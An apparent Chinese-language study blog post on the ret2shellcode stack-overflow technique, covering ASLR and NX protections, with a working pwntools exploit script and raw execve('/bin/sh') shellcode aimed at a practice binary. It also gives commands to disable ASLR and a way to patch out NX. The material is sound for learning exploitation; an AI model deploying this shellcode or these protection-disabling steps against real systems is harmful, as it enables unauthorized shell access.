pwn学习-ret2shellcode
今天学习了pwn中的ret2shellcode,在之前学习的ret2text中,程序给我们留下了后门函数,可以直接溢出执行,而ret2shellcode是最经典的栈溢出漏洞利用方法,简单原理如下:
在栈溢出漏洞利用成功后,我们可以控制返回地址代码执行,但是这些代码在程序中默认没有,需要我们自己添加,这段代码被称为
shellcode
,写入shellcode,我们需要满足可以在程序中写入并且被写入的shellcode拥有被执行的权限
shellcode
shellcode其实就是一段汇编代码,常见的功能是获取目标系统的
shell
shellcode有以下三种常见的获取方法
- 自己编写汇编代码,使用
objdump
等工具dump
出来 - 使用pwntools中带的
shellcraft
功能 - 网站上公开的shellcode(别人已经编译好的)例如: shellcode database
具体生成流程可以参考之前的博客: 手动生成shellcode
在理想的状态下,使用ret2shellcoe
利用方法是没有ASLR
保护机制打开的,我们称为NO ASLR
ASLR
ASLR是一个Linux保护机制,有效的防止了ret2text
漏洞,大概原理如下:
ASLR是操作系统的功能选项,在ELF加载到内存的时候发动,会影响到stack、libraries、heap的基址。开启后,每次程序加载是stack、libarys、heap的基地址都会随机化。
ASLR有三种状态
- 地址随机化关闭
echo 0 > /proc/sys/kernel/randomize_va_space
- 随机化stack、mmap映射、vdso
echo 1 > /proc/sys/kernel/randomize_va_space
- 随机化stack、mmap映射、vdso、heap(默认选项)
echo 2 > /proc/sys/kernel/randomize_va_space
上述中我使用了ncat
运行了两次,可以观察到地址都有所变化,如果感兴趣可以改变ASLR
等级为1
和0
观察,到底哪些地址会进行改变
开启1安全机制不会影响heap
堆地址的改变,0的话任何地址都会改变
开启ASLR
后,buf的地址就随机化了,所以该如何进行栈溢出漏洞利用ret2shellcode
呢?
我们可以将shellcode
写入到一个可控的内存上,并且该内存处可以执行,例如:
- 泄露地址的栈内存地址
- 可以写的bss段内存
ret2shellcode 练习
环境如下
链接: https://pan.baidu.com/s/1A-vf-UGLBkv_4p53Onha6g 提取码: 775b 复制这段内容后打开百度网盘手机App,操作更方便哦
该题目因为输出了buf的内存地址,我们可以获取改地址进行ret2shellcode利用
思路:
- 获取buf可以存放shellcode的地址,方便我们返回执行
- 填充shellcode在开始位置 + 垃圾字符 + buf内存地址,造成溢出
- 获取shell
漏洞利用脚本
from pwn import *
p = process("./ret2shellcode")
#p = remote("192.168.154.176",8888)
p.recvuntil("What's this:")
buf_addr = int(p.recvuntil("?")[:-1],16)
print("buf_addr:%#x" %buf_addr)
#shellcode = asm(shellcraft.sh())
shellcode = asm("""
xor ecx, ecx
mul ecx
push ecx
push 0x68732f2f
push 0x6e69622f
mov ebx, esp
mov al, 11
int 0x80
""")
shellcode1 = asm(shellcraft.sh())
shellcode2 = b"\x31\xc9\xf7\xe1\x51\x68\x2f\x2f" \
b"\x73\x68\x68\x2f\x62\x69\x6e\x89" \
b"\xe3\xb0\x0b\xcd\x80"
# 使用 0x88 + 0x4 左对齐的方式填充溢出,开头为shellcode,后面为多余的垃圾字符,填充A
payload = shellcode2.ljust(0x88 + 0x4,b"A")
payload += p32(buf_addr)
p.sendline(payload)
p.interactive()
上述中我使用了三种shellcode的方法
NX 保护机制
NX保护机制的全写为No-Execute(不可执行)
,Nx的原理是将数据所在内存页标识为不可执行,当程序被劫持到数据页(不可执行内存)时,程序会尝试在数据页面上执行指令,因为数据页被标记为不可执行,此时CPU就会抛出异常,而不是去执行数据。
- NX disabled: 栈可以执行,栈上的数据也可以被当做代码执行
- NX enabled: 栈不可执行,栈上的数据只认为是数据,如果去执行的话会发生错误。
使用NX
保护机制可以从根本上防止ret2shellcode
NX
保护机制是一个编译选项,可以在gcc
编译的时候指定是否开启
gcc -z execstack
就是关闭NX
,NX disabled
gcc -z noexecstack
就是开启NS
,NX enabled
该选项为默认选项
其实就是在程序的一个字节,位NX
的标志为,06为不可执行,07为可执行
使用execstack
命令可以查看程序是否开启了NX
保护
使用diff
也可以对比出两个文件的不同
没开就是07,开了就是06
可以手动将十六进制的06改为07,手动的关闭NX
保护
补充
在后续的学习中了解到,不仅上述的ASLR
和NX
保护机制会影响到ret2shellcode
漏洞利用手法,在新版本中的内核采用了比较激进的保护策略,程序中不再会有同时存在可读,可执行的段,也就是说想要在.bss
段写入内容,就不会拥有执行权限,如果在.bss
段拥有执行权限,就不会拥有写入权限,并且一般情况下使用gcc
编译都默认使用NX
保护机制,默认开启ASLR
等级为2
的地址随机化机制,基本上ret2shellcode
是不可能成功的,所以ret2shellcode
已成为历史。